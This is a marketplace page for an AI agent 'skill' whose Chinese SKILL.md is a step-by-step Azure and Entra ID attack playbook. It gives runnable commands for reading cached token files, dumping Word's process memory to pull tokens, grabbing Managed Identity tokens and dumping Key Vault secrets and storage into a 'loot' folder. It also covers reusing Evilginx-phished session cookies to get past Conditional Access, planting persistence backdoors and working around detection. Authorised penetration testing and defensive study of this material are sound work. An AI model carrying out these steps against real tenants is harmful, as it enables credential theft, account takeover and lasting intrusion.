Azure Pentesting logo

Azure Pentesting

OrganizationPopular
wgpsec
azure-pentesting

Azure 云环境渗透测试总体方法论。当目标使用 Azure/Microsoft 365/Entra ID、发现 Azure 相关资产(Blob Storage/App Service/Azure VM/Azure Functions)、获取 Azure 凭据(Service Principal/Managed Identity/Access Token)、或需要对 Azure 环境进行安全评估时使用。提供从未授权枚举到 Entra ID 攻击、服务提权、Cloud-to-OnPrem 横向移动的全流程决策树。覆盖 35+ Azure 服务攻击面

Overview

Publisherwgpsec
RepositoryAboutSecurity
Skill nameazure-pentesting
Stars
1.7K
Forks
242
Bundled files
2
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • 2 bundled files

    Scripts, templates, and references the model can read while it works. Files are read-only and never executed.

  • Open source

    Published by wgpsec on GitHub. Read the source before you install it.

Installation

Install the Azure Pentesting AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/wgpsec/AboutSecurity.git /tmp/AboutSecurity
mkdir -p .claude/skills
cp -r /tmp/AboutSecurity/skills/cloud/azure-pentesting .claude/skills/azure-pentesting
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Azure Pentesting in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Azure Pentesting on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Azure Pentesting is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

Azure 云环境渗透测试方法论

Azure 是全球第二大公有云平台,同时深度绑定 Entra ID(原 Azure AD)和 Microsoft 365 生态。其攻击面呈现独特的"三层结构"——Entra ID 身份层(租户、用户、应用注册、Service Principal)、Azure Resource Manager 资源层(订阅、资源组、RBAC)、以及数据层(Blob Storage、Key Vault、SQL Database)。与 AWS 相比,Azure 的核心差异在于:身份系统(Entra ID)与资源管理系统(ARM)是两套独立的授权体系,且 Entra ID 的 Global Administrator 可以通过 elevateAccess 接管所有 Azure 订阅。有时我们可能会通过各种方法获得了一个凭证,但是这个账号可能只能访问M365全家桶比如word,ppt,sharepoint应用,并不一定能访问Azure云subscription资源,需要手动确认。本技能以攻击阶段(Phase)为主线,组织从"零凭据"到"完全控制"的完整渗透路径。

深入参考

识别到具体攻击阶段后,加载对应参考文档获取完整技术细节:

Phase 0: 攻击面判断

拿到一个 Azure 相关目标后,首先判断当前手持的资产类型,决定进入哪个攻击阶段:

当前持有什么?
├── 无任何凭据
│   ├── 有目标域名/公司名 → Phase 1(未授权枚举)
│   ├── 有 SSRF 漏洞(Azure VM/App Service/Functions)
│   │   └── 打 IMDS 169.254.169.254 获取 Managed Identity Token → Phase 2(目前这个方法不行了,因为如果想拿IMDS需要Metadata: true请求头,大部分的SSRF只能发 GET,且不能自定义 header,最理想的情况其实是命令执行会比较有可能多点现在)
│   └── 仅知道组织名称 → OSINT + Phase 1
├── 有 Azure 用户账号密码
│   ├── 能正常登录 → Phase 2(权限评估)
│   └── 被条件访问策略(CA)阻止 → 绕过 CA 或尝试 Service Principal
│   └── 如果是通过钓鱼比如Evilginx获得账号密码,由于Evilginx会收割目标的Cookie,账号密码,我们可以通过导入cookie绕过CA。这个逻辑很简单,比如你人在中国,但是目标账号经常在新加坡登录,现在突然从新加坡登录IP飞到中国容易收到CA登录阻止。但如果通过Evilginx收割会话,是让目标在这个会话中完成了一整套验证,微软会给该cookie打上验证完成无安全问题,因此我们如果导入该cookie可以绕过CA限制。
├── 有 Service Principal 凭据(Client ID + Client Secret / 证书 / Certificate Private Key (.pfx/.pem/.key))
│   └── → Phase 2(注意:SP 通常不受 MFA/CA 限制)
├── 有 Access Token / Refresh Token
│   ├── Access Token → 直接使用(有效期通常 1 小时)
│   └── Refresh Token → 刷新获取新 Access Token → Phase 2
├── 在 Azure VM / App Service / Functions 内部
│   └── 查询 IMDS 获取 Managed Identity Token → Phase 2
└── 有开发者工作站访问权限
    └── 检查 ~/.Azure/ 目录获取缓存凭据 → Phase 2

Azure 凭据类型速查

凭据类型识别特征有效期获取方式
用户账号密码user@tenant.onmicrosoft.com永久(直到修改需要二次确认是否有云的访问资格)泄露/钓鱼/密码喷洒
Service Principal SecretClient ID (GUID) + Secret (随机字符串)可配置(默认 2 年)应用注册/泄露
Service Principal 证书Client ID + PFX/PEM 证书证书有效期应用注册/泄露
Access TokeneyJ0eXAi... (JWT 格式)通常 1 小时认证流/IMDS/缓存
Refresh Token0.ARMA... 格式最长 90 天(滑动窗口)缓存文件/令牌窃取
Managed Identity Token通过 IMDS 获取的 JWT24 小时(自动轮换)VM/App Service 内部
SAS TokenURL 中 sig=... 参数可配置Storage Account 生成

凭据缓存文件(开发者工作站)

在已入侵的开发者机器中,检查以下路径获取 Azure 凭据:

bash
# az CLI 缓存(Linux/macOS 明文存储)
cat ~/.Azure/azureProfile.json          # 登录用户信息
cat ~/.Azure/msal_token_cache.json      # Access Token + Refresh Token
cat ~/.Azure/service_principal_entries.json  # SP 凭据(仅 Linux/macOS)

# Az PowerShell 缓存
pwsh -Command "Save-AzContext -Path /tmp/az-context.json"

# Windows DPAPI 加密(需解密)
# C:\Users\<user>\.Azure\service_principal_entries.bin
# C:\Users\<user>\.Azure\msal_token_cache.bin
# C:\Users\<user>\AppData\Local\Microsoft\IdentityCache\*.bin
# C:\Users\<user>\AppData\Local\Microsoft\TokenBroker\Cache\*.tbres

#还有另外一种方法,有点类似与取证技巧,先观察是微软全家桶比如word是否在运行,在用户登录后,会代表用户去访问云服务,比如 Microsoft Graph 或 Outlook 相关接口(如 outlook.office365.com)。为了避免每次都重新登录,这些访问用到的 access token 会被缓存到本地,路径就是 %LOCALAPPDATA%\Microsoft\TokenBroker\Cache。也就是说,只要用户在这台机器上用过 Office 登录过 365,你其实有机会“捡现成的 token”,但注意前提是你有admin权限
Get-Process -IncludeUserName | Format-Table -AutoSize -Wrap
#如果发现word在运行用procdump去导一下
procdump.exe -mp id -accepteula
#然后再用string去分析.dmp文件是否包含token特征比如eyJ0ex.....
strings.exe WINWORD.EXE_260425_074224.dmp -accepteula | findstr /i eyJ0eX

Phase 1: 未授权枚举

在没有任何 Azure 凭据的情况下,仍可对目标 Tenant 进行大量信息收集。Azure 的公开 API 和子域名结构提供了丰富的枚举面。

高价值枚举目标

目标攻击方式价值
Tenant 信息login.microsoftonline.com 公开 APITenant ID、域名、SSO 配置
用户枚举AADInternals / o365spray有效账号列表 → 密码喷洒
子域名MicroBurst 枚举 20+ Azure 子域发现暴露的服务端点
Blob Storage公开容器枚举数据泄露、凭据文件
App Serviceazurewebsites.net 端点Web 漏洞利用 → Managed Identity
Azure Functions公开 HTTP 触发器代码注入/SSRF → Managed Identity
Azure DevOpsdev.azure.com 公开项目代码泄露、Pipeline 凭据

快速 Tenant 枚举

bash
# 使用 AADInternals 获取 Tenant 全貌
Install-Module AADInternals
Invoke-AADIntReconAsOutsider -DomainName target.com | Format-Table

# 获取 Tenant ID
curl -s "https://login.microsoftonline.com/target.com/.well-known/openid-configuration" | jq '.token_endpoint' | grep -oP '[a-f0-9-]{36}'

# 枚举 Tenant 下所有域名
Get-AADIntTenantDomains -Domain target.com

# 检查用户是否存在
Invoke-AADIntUserEnumerationAsOutsider -UserName "admin@target.com"

子域名与 Blob 枚举

bash
# MicroBurst 子域枚举(覆盖 20+ Azure 域后缀)
Import-Module MicroBurst
Invoke-EnumerateAzureSubDomains -Base targetcorp -Verbose

# Blob 公开容器枚举
Invoke-EnumerateAzureBlobs -Base targetcorp

# 手动检查 Blob 容器
curl -s "https://targetcorp.blob.core.windows.net/backup?restype=container&comp=list"

→ 完整的未授权枚举技术清单,读 references/unauthenticated-enum.md

Phase 2: 凭据验证与权限评估

获取凭据后,第一步是验证有效性并评估权限范围。Azure 存在 Entra ID 和 ARM 两套独立授权体系,需分别枚举。

2.1 身份确认

bash
# az CLI — 确认当前身份
az account show                        # 当前订阅和租户
az ad signed-in-user show              # 当前 Entra ID 用户信息

# 列出可访问的所有订阅
az account list --output table

#列出当前能访问的资源
Get-AzResource

#获得当前被分配的角色
Get-AzRoleAssignment

# Az PowerShell
Get-AzContext                          # 当前上下文
Get-AzSubscription                     # 可访问的订阅

# 如果是 Service Principal
az login --service-principal -u CLIENT_ID -p SECRET --tenant TENANT_ID

2.2 权限与服务枚举

bash
# ARM 层:查看当前用户在订阅上的角色
az role assignment list --assignee "USER_OBJECT_ID" --all --output table

# ARM 层:查看对特定资源的权限
az rest --method GET \
  --url "https://management.azure.com/{resource_id}/providers/Microsoft.Authorization/permissions?api-version=2022-04-01"

# ARM 层:枚举可见资源
az resource list --output table
# 或
Get-AzResource

# 查看某个角色的定义,如果遇到自定义角色
az role definition list --name "ROLE_NAME"

# 列出所有 Key Vault 实例
az keyvault list

# 列出指定 Key Vault 中的所有 Secret 名称
az keyvault secret list --vault-name VAULT_NAME

# 读取指定 Secret 的值
az keyvault secret show --id https://VAULT_NAME.vault.azure.net/secrets/SECRET_NAME

# 列出当前订阅下所有虚拟机
az vm list

# 获取指定虚拟机的公网和私网 IP 地址
az vm list-ip-addresses -g RESOURCE_GROUP -n VM_NAME

# 远程在目标 VM 上执行 Shell 命令。需要 VM RunCommand 权限
az vm run-command invoke -g RESOURCE_GROUP -n VM_NAME \
  --command-id RunShellScript \
  --scripts "whoami"

# PowerShell 版本远程执行命令
Invoke-AzVMRunCommand -VMName vm -ResourceGroupName rg -CommandId RunShellScript -ScriptString "whoami"

# 列出当前订阅中的所有 Storage Account
Get-AzStorageAccount

#列出指定存储账户中的容器
Get-AzStorageContainer -Context $storageAccount.Context

#列出容器中的 Blob 文件
Get-AzStorageBlob -Container “xx” -Context $storageAccount.Context

#列出所有 Automation Account
az automation account list

#列出 Automation Account 中的所有 Runbook
Get-AzAutomationRunbook -ResourceGroupName RG -AutomationAccountName AA

#执行指定 Runbook。 若绑定高权限身份可实现提权
Start-AzAutomationRunbook

#查看当前 Azure 订阅或指定 Scope 下的 Azure Lighthouse 注册分配
Get-AzManagedServicesAssignment | Format-List *

#列出订阅中的公网 IP 资源
az network public-ip list

#列出所有网络安全组
az network nsg list

#查看指定 NSG 的规则详情
Get-AzNetworkSecurityGroup -Name xx

#获取ADO token 如果是用户名密码凭证 这里的499bxx就是dev ops id
ADO_TOKEN=$(az account get-access-token --resource 499b84ac-1321-427f-aa17-267ca6975798 --query accessToken -o tsv)

#枚举项目
curl -s -H "Authorization: Bearer $ADO_TOKEN" "https://dev.azure.com/<组织名>/_apis/projects?api-version=7.0"

#读取repo
curl -s -H "Authorization: Bearer $ADO_TOKEN" "https://dev.azure.com/<组织名>/<项目>/_apis/git/repositories?api-version=7.0"

#读取特定repo里面内容
curl -s -H "Authorization: Bearer $ADO_TOKEN" \
  "https://dev.azure.com/<组织名>/<repo 名>/_apis/git/repositories?api-version=7.0"

#用ado token作为密码克隆项目代码到本地
git clone https://用户名%40域名.com:$ADO_TOKEN@dev.azure.com/<组织名>/<repo 名>/_git/<repo 名>

#Entra ID 层 graph 枚举,首先是连接 token可以去访问myapps.microsoft.com然后点开dev tool输入graph.关键词过滤定位
Connect-MgGraph -AccessToken (<graph-token> | ConvertTo-SecureString -AsPlainText -Force)
Get-MgContext

#读取所有user
Get-MgUser -All

#列出当前所有组
Get-MgGroup

#列出租户中注册的Application Registration
Get-MgApplication -All

#列出租户中的 Service Principal(企业应用)
Get-MgServicePrincipal

#根据显示名称查找指定 Service Principal
Get-MgServicePrincipal -Filter "DisplayName eq '<name>'"

#查询这个 Service Principal 拥有哪些 Azure AD 对象
Get-MgServicePrincipalOwnedObject -ServicePrincipalId <sp-id>

#列出某个 Administrative Unit(管理单元,AU) 里的所有成员
Get-MgDirectoryAdministrativeUnitMember -AdministrativeUnitId <au-id> -All

#出 Entra ID 里的 Conditional Access Policies(条件访问策略)
Get-MgIdentityConditionalAccessPolicy

#查看租户级别的 Authentication Methods Policy(认证方法策略)
Get-MgPolicyAuthenticationMethodPolicy

#查看某个指定 Group 的详细信息
Get-MgGroup -GroupId <group-id>

#列出某个 group 里的成员
Get-MgGroupMember -GroupId <group-id>

#获取指定用户邮箱中的邮件
Get-MgUserMessage -UserId <user-upn>

#列出当前身份有权限访问的所有 Microsoft Teams Chat
Get-MgChat | Format-List

#读取某一个 Chat 里面的所有消息
Get-MgChatMessage -ChatId <chat-id> | Format-List

#读取某一条 Teams 消息的正文
(Get-MgChatMessage -ChatId <chat-id> -ChatMessageId <message-id>).Body.Content

# Entra ID 层:枚举目录角色
az rest --method GET \
  --url "https://graph.microsoft.com/v1.0/me/memberOf" | jq '.value[].displayName'

# 自动化权限发现
# Find_My_Az_Management_Permissions — 自动枚举所有资源权限
python3 Find_My_Az_Management_Permissions.py

2.3 权限评估决策树

当前身份权限如何?
├── Entra ID Global Administrator
│   ├── 已可管理所有 Entra ID 资源
│   └── 通过 elevateAccess 接管所有 Azure 订阅 → Phase 4
├── 有特定 Entra ID 角色(Application Admin/Cloud App Admin/...)
│   └── 检查是否可操控应用注册/Service Principal → Phase 3 (Entra 提权)
├── 有 Azure Owner/Contributor 角色
│   ├── 在特定订阅/资源组范围 → 直接操作资源 → Phase 4
│   └── 尝试横向到其他订阅 → Phase 3
├── 有特定服务权限(如 Microsoft.Compute/virtualMachines/*)
│   ├── 检查是否可操控 Managed Identity → Phase 3
│   └── 直接利用当前权限进行后渗透 → Phase 4
└── 权限极低 → 尝试利用默认 Entra ID 读权限枚举所有用户/组/应用
    └── 寻找提权路径 → Phase 3

参考 cloud-iam-audit 技能,进行跨云 IAM 审计

2.4 自动化审计工具

工具用途命令
AzureHoundAzure 攻击路径图谱(BloodHound 生态)azurehound list -t TENANT_ID --refresh-token RT
ROADtoolsEntra ID 全量枚举与分析roadrecon auth -u USER -p PASS && roadrecon gather && roadrecon gui
ScoutSuite多云安全审计报告scout azure --cli
ProwlerAzure 安全最佳实践检查prowler azure
MicroBurstAzure 枚举与攻击工具集Import-Module MicroBurst
PowerZureAzure 利用框架Import-Module PowerZure
AADInternalsEntra ID 深度利用Install-Module AADInternals
GraphRunnerMicrosoft Graph API 利用Import-Module GraphRunner

Phase 3: 提权

Azure 提权发生在两个层面:Entra ID 身份层提权和 ARM 资源层提权。两者相互独立但可互相转化——Entra ID Global Admin 可通过 elevateAccess 获取 ARM Owner,反之 ARM 层某些权限可操控 Entra ID 对象。

Entra ID 层提权

参考 azure-ad-attack 技能,获取 Entra ID 提权与攻击深度指南

核心提权路径:

提权路径关键角色/权限原理
应用注册密钥注入Application Admin / Cloud App Admin给高权限应用添加新 Secret/证书,以 SP 身份登录
条件访问策略绕过SP 登录通常不受 CA 限制,IP/地理限制可绕过
目录角色滥用Privileged Role Admin给自己分配 Global Admin 角色
动态组滥用修改用户属性匹配动态组规则,继承组的角色分配
管理单元逃逸Helpdesk Admin 在受限 AU 外重置不受 AU 保护的管理员密码
Consent Grant 攻击应用同意权限诱导管理员同意高权限 OAuth 应用

ARM 资源层提权决策表

提权路径关键 ARM 权限原理
角色分配写入Microsoft.Authorization/roleAssignments/write给自己分配 Owner 角色
角色定义修改Microsoft.Authorization/roleDefinitions/Write修改已分配角色的 Actions 为 *
elevateAccessGlobal Admin + elevateAccess/actionGA 提升为根范围 User Access Admin
Managed Identity 绑定服务写权限 + ManagedIdentity/assign/action将高权限 MI 绑定到可控资源
Automation RunbookAutomation/automationAccounts/jobs/write通过 Runbook 执行代码获取 MI Token
VM 命令执行Compute/virtualMachines/extensions/writeCustomScript Extension 在 VM 中执行命令
Function App 代码覆盖Storage 写权限(File Share/Blob)修改函数代码获取绑定的 MI Token
App Service SSHWeb/sites/publish/ActionSSH 进入 App Service 获取环境变量和 MI
Key Vault 策略修改KeyVault/vaults/write修改访问策略获取 Secret/Key/Cert
Logic App 后门Logic/workflows/write利用 MI 执行任意 Azure API 操作

Managed Identity 提权核心流程

Managed Identity 是 Azure 提权中最关键的枢纽(类似 AWS 的 PassRole)。如果攻击者可以在绑定了高权限 MI 的资源中执行代码,就能获取该 MI 的 Token:

攻击者拥有: Automation Account 写权限 + 目标 MI 绑定在该 Account
    ├─ 1. 创建/修改 Runbook,代码中请求 MI Token
    │     $token = (Invoke-WebRequest -Uri "$env:IDENTITY_ENDPOINT?resource=https://management.azure.com/" \
    │       -Headers @{X-IDENTITY-HEADER=$env:IDENTITY_HEADER}).Content
    ├─ 2. 执行 Runbook
    └─ 3. 获取高权限 MI Token → 接管目标资源
bash
# VM 内部获取 Managed Identity Token(通过 IMDS)
curl -s -H "Metadata:true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

# App Service / Functions 内部获取 MI Token
curl -s -H "X-IDENTITY-HEADER:$IDENTITY_HEADER" \
  "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01"

Phase 4: 横向移动

Azure 环境中的横向移动发生在三个维度:

跨订阅移动:

  • 利用 Management Group 层级的角色继承
  • 利用跨订阅的 Managed Identity 分配
  • 利用共享 Key Vault / Storage Account

跨服务移动:

  • VM CustomScript Extension → 横向到其他 VM
  • Automation Hybrid Worker → 从云端到 OnPrem 机器
  • App Service / Functions → 通过 MI 访问其他服务

Cloud-to-OnPrem 移动:

  • Azure AD Connect → 同步服务器 → 域控
  • Hybrid Worker → OnPrem 网络
  • Azure AD PHS/PTA/Federation → OnPrem AD

参考 azure-hybrid-lateral 技能,获取 Cloud-to-OnPrem 横向移动深度指南

Phase 5: 后渗透与持久化

获得较高权限后,进入后渗透阶段。

5.1 数据发现与获取

优先搜索哪些数据源?
├── Key Vault → 密码、证书、API 密钥、连接字符串
├── Blob Storage → 文档、备份、日志、配置文件
├── SQL Database / Cosmos DB → 业务数据
├── App Service / Functions 环境变量 → 数据库连接串、第三方 API 密钥
├── Automation Account 变量/凭据 → 加密变量、存储的凭据
└── Azure DevOps → 代码仓库、Pipeline 密钥、Variable Groups
bash
# 列出 Key Vault 密钥
az keyvault list --output table
az keyvault secret list --vault-name VAULT_NAME --output table
az keyvault secret show --vault-name VAULT_NAME --name SECRET_NAME

# 列出 Storage Account 并下载敏感文件
az storage account list --output table
az storage account keys list --account-name ACCOUNT_NAME
az storage blob download-batch -d ./loot -s CONTAINER --account-name ACCOUNT_NAME

# 获取 App Service 环境变量(含数据库连接串等)
az webapp config appsettings list --name APP_NAME --resource-group RG

# 获取 Automation Account 变量
az automation variable list --automation-account-name ACCT --resource-group RG

5.2 持久化技术概览

服务持久化方法隐蔽性
Entra ID 应用注册添加 Secret/证书到高权限应用、创建新 OAuth 应用
Service Principal创建 Federated Identity Credential(信任外部 IdP)
Federation添加可信域 + 伪造 Token(Golden SAML 变种)
Automation AccountRunbook 后门 + Schedule/Webhook 定时触发
VMCustom Script Extension、User Data 后门、SSH Key 注入
Cloud Shell.bashrc / PS Profile 后门(持久存储)
Key Vault修改访问策略保留访问、提取密钥后外部使用
Storage Account生成长期 SAS Token、保存 Access Key
Logic App后门 Workflow + SAS URL 触发
SQL Database创建后门 SQL 用户、防火墙规则
Azure DevOpsPAT 创建、Pipeline 注入、Service Connection 后门

→ 完整的 12+ 服务持久化技术清单,读 references/persistence-techniques.md

附录: Azure 速查

常用 az CLI 命令

bash
# 身份与权限
az account show                                      # 当前上下文
az account list --output table                       # 所有可访问订阅
az ad signed-in-user show                            # 当前用户
az role assignment list --assignee "ID" --all        # 角色分配

# 枚举资源
az resource list --output table                      # 所有可见资源
az vm list --output table                            # VM 列表
az webapp list --output table                        # App Service 列表
az functionapp list --output table                   # Function App 列表
az keyvault list --output table                      # Key Vault 列表
az storage account list --output table               # Storage Account 列表

# 凭据操作
az login --service-principal -u CID -p SECRET --tenant TID    # SP 登录
az account get-access-token --resource https://management.azure.com/  # 获取 Token

#PS登录方式
$passwd = ConvertTo-SecureString "<密码>" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("邮箱", $passwd)
Connect-AzAccount -Credential $creds

#获得token并连接MgGraph:
$Token = (Get-AzAccessToken -ResourceTypeName MSGraph).Token
Connect-MgGraph -AccessToken ($Token | ConvertTo-SecureString -AsPlainText -Force)

# IMDS(从 VM 内部)
curl -s -H "Metadata:true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | jq .
curl -s -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

Azure 与 AWS 概念对照

Azure 概念AWS 等价物说明
Entra ID (Azure AD)IAM + Organizations身份管理,但 Azure 独立于资源管理
TenantAccount (root)最顶层身份容器
SubscriptionAccount (member)计费与资源隔离单元
Resource Group— (无直接等价)资源逻辑分组
Management GroupOrganizational Unit (OU)层级管理结构
RBAC RoleIAM Policy权限控制
Service PrincipalIAM Role (for service)服务身份
Managed IdentityEC2 Instance Profile / Lambda Role自动凭据管理
Key VaultSecrets Manager + KMS密钥与凭据管理
App ServiceElastic Beanstalk / App Runner托管 Web 应用
Azure FunctionsLambda无服务器计算
Blob StorageS3对象存储

注意事项

Azure Activity Log 审计感知: 所有 ARM 管理平面操作都会被 Activity Log 记录(保留 90 天)。以下操作高可见性:

  • 角色分配变更(roleAssignments/write)
  • 资源创建/删除
  • 策略修改

Entra ID 的 Sign-in Log 和 Audit Log 记录所有身份认证事件和目录变更。

Microsoft Defender for Cloud 检测风险:

  • 异常 IP 登录
  • 暴力破解 / 密码喷洒
  • 可疑的角色分配
  • 异常资源创建(挖矿检测)
  • Key Vault 异常访问模式

Microsoft Sentinel 高级检测: 如果目标启用了 Sentinel SIEM,自定义分析规则可能检测到:

  • Service Principal 异常登录模式
  • Automation Runbook 异常执行
  • 跨订阅横向移动模式

速率限制: Azure Resource Manager 对每个订阅有请求限制(读 12000/小时,写 1200/小时)。Graph API 也有类似限制。大规模枚举时需注意节流。


参考 azure-ad-attack 技能,获取 Entra ID 攻击与提权深度指南

参考 azure-hybrid-lateral 技能,获取 Cloud-to-OnPrem 横向移动方法论

参考 cloud-iam-audit 技能,进行跨云 IAM 审计与策略分析

Bundled files

The model reads these on demand while the skill is loaded. They are exposed as readable files and are never executed.

Frequently asked questions

What does the Azure Pentesting AI skill do?

Azure 云环境渗透测试总体方法论。当目标使用 Azure/Microsoft 365/Entra ID、发现 Azure 相关资产(Blob Storage/App Service/Azure VM/Azure Functions)、获取 Azure 凭据(Service Principal/Managed Identity/Access Token)、或需要对 Azure 环境进行安全评估时使用。提供从未授权枚举到 Entra ID 攻击、服务提权、Cloud-to-OnPrem 横向移动的全流程决策树。覆盖 35+ Azure 服务攻击面

Why use Azure Pentesting on TypingMind?

Because you install it once and use it with any model. Azure Pentesting is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Azure Pentesting in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/wgpsec/AboutSecurity/tree/master/skills/cloud/azure-pentesting. TypingMind reads its SKILL.md and bundles its files and installs it as a skill you can enable per chat.

Which AI models can use Azure Pentesting?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Azure Pentesting?

As many as you like. As long as a model supports skills, you can use Azure Pentesting with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Azure Pentesting AI skill free?

It is published on GitHub by wgpsec. Check the repository for licensing terms. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇